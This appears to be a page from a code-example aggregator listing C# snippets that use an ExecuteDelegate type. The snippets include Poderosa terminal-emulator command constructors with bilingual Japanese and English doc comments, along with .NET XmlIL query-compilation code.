 /// 割り当てるコマンドIDです。ほかのコマンドとは重複しない唯一無二のものを指定しなければなりません。
 /// </ja>
 /// <en>
 /// It is allocated command ID. The unique one that doesn't overlap should be specified other commands. 
 /// </en>
 /// </param>
 /// <param name="sr">
 /// <ja>
 /// カルチャ情報です。
 /// </ja>
 /// <en>
 /// Information of the culture.
 /// </en>
 /// </param>
 /// <param name="descriptionTextID">
 /// <ja>
 /// コマンドの説明文を示すテキストIDです。
 /// </ja>
 /// <en>
 /// Text ID that shows explanation of command.
 /// </en>
 /// </param>
 /// <param name="category">
 /// <ja>
 /// コマンドのカテゴリです。
 /// </ja>
 /// <en>
 /// Category of command.
 /// </en></param>
 /// <param name="execute">
 /// <ja>
 /// コマンドが実行されるときに呼び出されるデリゲートです。
 /// </ja>
 /// <en>
 /// Delegate called when command is executed
 /// </en>
 /// </param>
 public GeneralCommandImpl(string commandID, StringResource sr, string descriptionTextID, ICommandCategory category, ExecuteDelegate execute)
     : this(commandID, sr, descriptionTextID, category, execute, null) {
 }
 public RelayCommand(ExecuteDelegate execute)
     : this(execute, null)
 {
 }
 public BeforeCalcHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
 public TerminalUICommand(string id, string description, ExecuteDelegate body)
     :
     base(id, TerminalUIPlugin.Instance.Strings, description, TerminalUIPlugin.Instance.TerminalEmulatorPlugin.TerminalCommandCategory, body) {
 }
 public AppNotifyHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
Beispiel #47
0
 /// <summary>
 /// <ja>
 /// コマンドが実行される際に呼び出すデリゲートを指定したコンストラクタです。
 /// </ja>
 /// <en>
 /// Constructor who specified delegate called when command is executed
 /// </en>
 /// </summary>
 /// <param name="execute">
 /// <ja>
 /// コマンドが実行される際に呼び出されるデリゲートです。
 /// </ja>
 /// <en>
 /// Delegate called when command is executed
 /// </en>
 /// </param>
 /// <remarks>
 /// <ja>
 /// <para>
 /// コマンドが実行される際——言い換えると<seealso cref="IPoderosaCommand">IPoderosaCommand</seealso>の
 /// <see cref="IPoderosaCommand.InternalExecute">InternalExecute</see>メソッドが呼び出されるときに、<paramref name="execute">execute</paramref>
 /// に指定したデリゲートが呼び出されます。
 /// </para>
 /// <para>
 /// <seealso cref="IPoderosaCommand">IPoderosaCommand</seealso>の<see cref="IPoderosaCommand.CanExecute">CanExecute</see>メソッドの処理では、常にtrueが返されるように実装されます。
 /// </para>
 /// </ja>
 /// <en>
 /// <para>
 /// When the <see cref="IPoderosaCommand.InternalExecute">InternalExecute</see> method of <seealso cref="IPoderosaCommand">IPoderosaCommand</seealso> is called, specified delegate is called in execute when paraphrasing it when the command is executed. 
 /// </para>
 /// <para>
 /// In the processing of the <see cref="IPoderosaCommand.CanExecute">CanExecute</see> method of <seealso cref="IPoderosaCommand">IPoderosaCommand</seealso>, true is always implemented so that it is returned. 
 /// </para>
 /// </en>
 /// </remarks>
 public PoderosaCommandImpl(ExecuteDelegate execute) {
     _execute = execute;
     _canExecute = null;
 }
 public XmlILCommand(ExecuteDelegate delExec, XmlQueryStaticData staticData)
 {
     Debug.Assert(delExec != null && staticData != null);
     _delExec    = delExec;
     _staticData = staticData;
 }
Beispiel #49
0
 //必須要素を与えるコンストラクタ
 /// <summary>
 /// <ja>
 /// コマンドID、カルチャ、説明テキストID、コマンドカテゴリ、コマンドが実行される際に呼び出されるデリゲート、実行可能かどうかを調べる際に呼び出されるデリゲートを指定してオブジェクトを作成します。
 /// </ja>
 /// <en>
 /// The object is made specifying delegate called when delegate called when command ID, Culture, explanation text ID, the command category, and the command are executed and it is executable is examined. 
 /// </en>
 /// </summary>
 /// <param name="commandID">
 /// <ja>
 /// 割り当てるコマンドIDです。ほかのコマンドとは重複しない唯一無二のものを指定しなければなりません。
 /// </ja>
 /// <en>
 /// It is allocated command ID. The unique one that doesn't overlap should be specified other commands. 
 /// </en>
 /// </param>
 /// <param name="sr">
 /// <ja>
 /// カルチャ情報です。
 /// </ja>
 /// <en>
 /// Information of the culture.
 /// </en>
 /// </param>
 /// <param name="descriptionTextID">
 /// <ja>
 /// コマンドの説明文を示すテキストIDです。
 /// </ja>
 /// <en>
 /// Text ID that shows explanation of command
 /// </en>
 /// </param>
 /// <param name="commandCategory">
 /// <ja>
 /// コマンドのカテゴリです。
 /// </ja>
 /// <en>
 /// Category of command.
 /// </en>
 /// </param>
 /// <param name="exec">
 /// <ja>
 /// コマンドが実行されるときに呼び出されるデリゲートです。
 /// </ja>
 /// <en>
 /// Delegate called when command is executed.
 /// </en>
 /// </param>
 /// <param name="canExecute">
 /// <ja>
 /// コマンドが実行可能かどうかを調べる際に呼び出されるデリゲートです。
 /// </ja>
 /// <en>
 /// Delegate called when it is examined whether command is executable
 /// </en>
 /// </param>
 /// <overloads>
 /// <summary>
 /// <ja>
 /// コマンドオブジェクトを作成します。
 /// </ja>
 /// <en>
 /// Create the command object.
 /// </en>
 /// </summary>
 /// </overloads>
 public GeneralCommandImpl(string commandID, StringResource sr, string descriptionTextID, ICommandCategory commandCategory, ExecuteDelegate exec, CanExecuteDelegate canExecute) {
     _commandID = commandID;
     _usingStringResource = sr != null;
     _strResource = sr;
     _descriptionTextID = descriptionTextID;
     _commandCategory = commandCategory;
     _executeDelegate = exec;
     _canExecuteDelegate = canExecute;
 }
Beispiel #50
0
 public TerminalUICommand(string id, string description, ExecuteDelegate body)
     :
     base(id, TerminalUIPlugin.Instance.Strings, description, TerminalUIPlugin.Instance.TerminalEmulatorPlugin.TerminalCommandCategory, body)
 {
 }
Beispiel #51
0
 /// <summary>
 /// <ja>
 /// コマンドID、カルチャ、説明テキスト文、コマンドカテゴリ、コマンドが実行される際に呼び出されるデリゲートを指定してオブジェクトを作成します。
 /// </ja>
 /// <en>
 /// The object is made specifying delegate called when command ID, culture, explanation text ID, the command category, and the command are executed. 
 /// </en>
 /// </summary>
 /// <param name="commandID">
 /// <ja>
 /// 割り当てるコマンドIDです。ほかのコマンドとは重複しない唯一無二のものを指定しなければなりません。
 /// </ja>
 /// <en>
 /// It is allocated command ID. The unique one that doesn't overlap should be specified other commands. 
 /// </en>
 /// </param>
 /// <param name="description">
 /// <ja>
 /// コマンドの説明文を示すテキストです。
 /// </ja>
 /// <en>
 /// Text that shows explanation of command.
 /// </en>
 /// </param>
 /// <param name="category">
 /// <ja>
 /// コマンドのカテゴリです。
 /// </ja>
 /// <en>
 /// Category of command.
 /// </en>
 /// </param>
 /// <param name="execute">
 /// <ja>
 /// コマンドが実行されるときに呼び出されるデリゲートです。
 /// </ja>
 /// <en>
 /// Delegate called when command is executed.
 /// </en>
 /// </param>
 public GeneralCommandImpl(string commandID, string description, ICommandCategory category, ExecuteDelegate execute)
     : this(commandID, null, description, category, execute, null) {
 }
Beispiel #52
0
 public AppIdleHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
Beispiel #53
0
 /// <summary>
 /// Constructor.
 /// </summary>
 public XmlILCommand(ExecuteDelegate delExec, XmlQueryStaticData staticData)
 {
     Debug.Assert(delExec != null && staticData != null);
     _delExec = delExec;
     _staticData = staticData;
 }
Beispiel #54
0
 /// <summary>
 /// コンストラクタ(実行可否チェックあり)
 /// </summary>
 /// <param name="cmdID">コマンドID</param>
 /// <param name="textID">コマンド説明文ID</param>
 /// <param name="body">実行Delegate</param>
 /// <param name="enabled">実行可否Delegate</param>
 public ConnectProfileCommand(string cmdID, string textID, ExecuteDelegate body, CanExecuteDelegate enabled)
     :
     base(cmdID, ConnectProfilePlugin.Strings, textID, ConnectProfilePlugin.Instance.TerminalEmulatorService.TerminalCommandCategory, body, enabled)
 {
 }
Beispiel #55
0
 public RelayCommand(ExecuteDelegate execute, 
     CanExecuteDelegate canExecute)
 {
     this.execute = execute;
     this.canExecute = canExecute;
 }
Beispiel #56
0
 public ClientFileHandler(ExecuteDelegate onExecute)
 {
     _onExecute = onExecute;
 }
        public XmlILCommand?Generate(QilExpression query, TypeBuilder?typeBldr)
        {
            _qil = query;

            bool useLRE = (
                !_qil.IsDebug &&
                (typeBldr == null)
#if DEBUG
                && !XmlILTrace.IsEnabled // Dump assembly to disk; can't do this when using LRE
#endif
                );
            bool emitSymbols = _qil.IsDebug;

            // In debug code, ensure that input QIL is correct
            QilValidationVisitor.Validate(_qil);

#if DEBUG
            // Trace Qil before optimization
            XmlILTrace.WriteQil(_qil, "qilbefore.xml");

            // Trace optimizations
            XmlILTrace.TraceOptimizations(_qil, "qilopt.xml");
#endif

            // Optimize and annotate the Qil graph
            _optVisitor = new XmlILOptimizerVisitor(_qil, !_qil.IsDebug);
            _qil        = _optVisitor.Optimize();

            // In debug code, ensure that output QIL is correct
            QilValidationVisitor.Validate(_qil);

#if DEBUG
            // Trace Qil after optimization
            XmlILTrace.WriteQil(_qil, "qilafter.xml");
#endif

            // Create module in which methods will be generated
            if (typeBldr != null)
            {
                _module = new XmlILModule(typeBldr);
            }
            else
            {
                _module = new XmlILModule(useLRE, emitSymbols);
            }

            // Create a code generation helper for the module; enable optimizations if IsDebug is false
            _helper = new GenerateHelper(_module, _qil.IsDebug);

            // Create helper methods
            CreateHelperFunctions();

            // Create metadata for the Execute function, which is the entry point to the query
            // public static void Execute(XmlQueryRuntime);
            MethodInfo methExec = _module.DefineMethod("Execute", typeof(void), Type.EmptyTypes, Array.Empty <string>(), XmlILMethodAttributes.NonUser);

            // Create metadata for the root expression
            // public void Root()
            Debug.Assert(_qil.Root != null);
            XmlILMethodAttributes methAttrs = (_qil.Root.SourceLine == null) ? XmlILMethodAttributes.NonUser : XmlILMethodAttributes.None;
            MethodInfo            methRoot  = _module.DefineMethod("Root", typeof(void), Type.EmptyTypes, Array.Empty <string>(), methAttrs);

            // Declare all early bound function objects
            foreach (EarlyBoundInfo info in _qil.EarlyBoundTypes)
            {
                _helper.StaticData.DeclareEarlyBound(info.NamespaceUri, info.EarlyBoundType);
            }

            // Create metadata for each QilExpression function that has at least one caller
            CreateFunctionMetadata(_qil.FunctionList);

            // Create metadata for each QilExpression global variable and parameter
            CreateGlobalValueMetadata(_qil.GlobalVariableList);
            CreateGlobalValueMetadata(_qil.GlobalParameterList);

            // Generate Execute method
            GenerateExecuteFunction(methExec, methRoot);

            // Visit the QilExpression graph
            _xmlIlVisitor = new XmlILVisitor();
            _xmlIlVisitor.Visit(_qil, _helper, methRoot);

            // Collect all static information required by the runtime
            XmlQueryStaticData staticData = new XmlQueryStaticData(
                _qil.DefaultWriterSettings,
                _qil.WhitespaceRules,
                _helper.StaticData
                );

            // Create static constructor that initializes XmlQueryStaticData instance at runtime
            if (typeBldr != null)
            {
                CreateTypeInitializer(staticData);

                // Finish up creation of the type
                _module.BakeMethods();

                return(null);
            }
            else
            {
                // Finish up creation of the type
                _module.BakeMethods();

                // Create delegate over "Execute" method
                ExecuteDelegate delExec = (ExecuteDelegate)_module.CreateDelegate("Execute", typeof(ExecuteDelegate));
                return(new XmlILCommand(delExec, staticData));
            }
        }
 /// <summary>
 /// コンストラクタ(実行可否チェックあり)
 /// </summary>
 /// <param name="cmdID">コマンドID</param>
 /// <param name="textID">コマンド説明文ID</param>
 /// <param name="body">実行Delegate</param>
 /// <param name="enabled">実行可否Delegate</param>
 public ConnectProfileCommand(string cmdID, string textID, ExecuteDelegate body, CanExecuteDelegate enabled)
     : base(cmdID, ConnectProfilePlugin.Strings, textID, ConnectProfilePlugin.Instance.TerminalEmulatorService.TerminalCommandCategory, body, enabled)
 {
 }
            public void DoWork(NorthwindConfig config, SyncFeed feed)
            {
                ExecuteDelegate worker = new ExecuteDelegate(Execute);
                AsyncCallback completedCallback = new AsyncCallback(ExecuteCompletedCallback);

                AsyncOperation async = AsyncOperationManager.CreateOperation(null);

                // Begin asynchronous method call
                worker.BeginInvoke(config, feed, completedCallback, async);
            }
Beispiel #60
0
 public CustomAction(EnabledDelegate enabled, ExecuteDelegate execute, string name, bool hideWhenDisabled = true, Context validContexts = Context.SingularObjects) : base(enabled, execute, (a, b) => name, hideWhenDisabled, validContexts)
 {
 }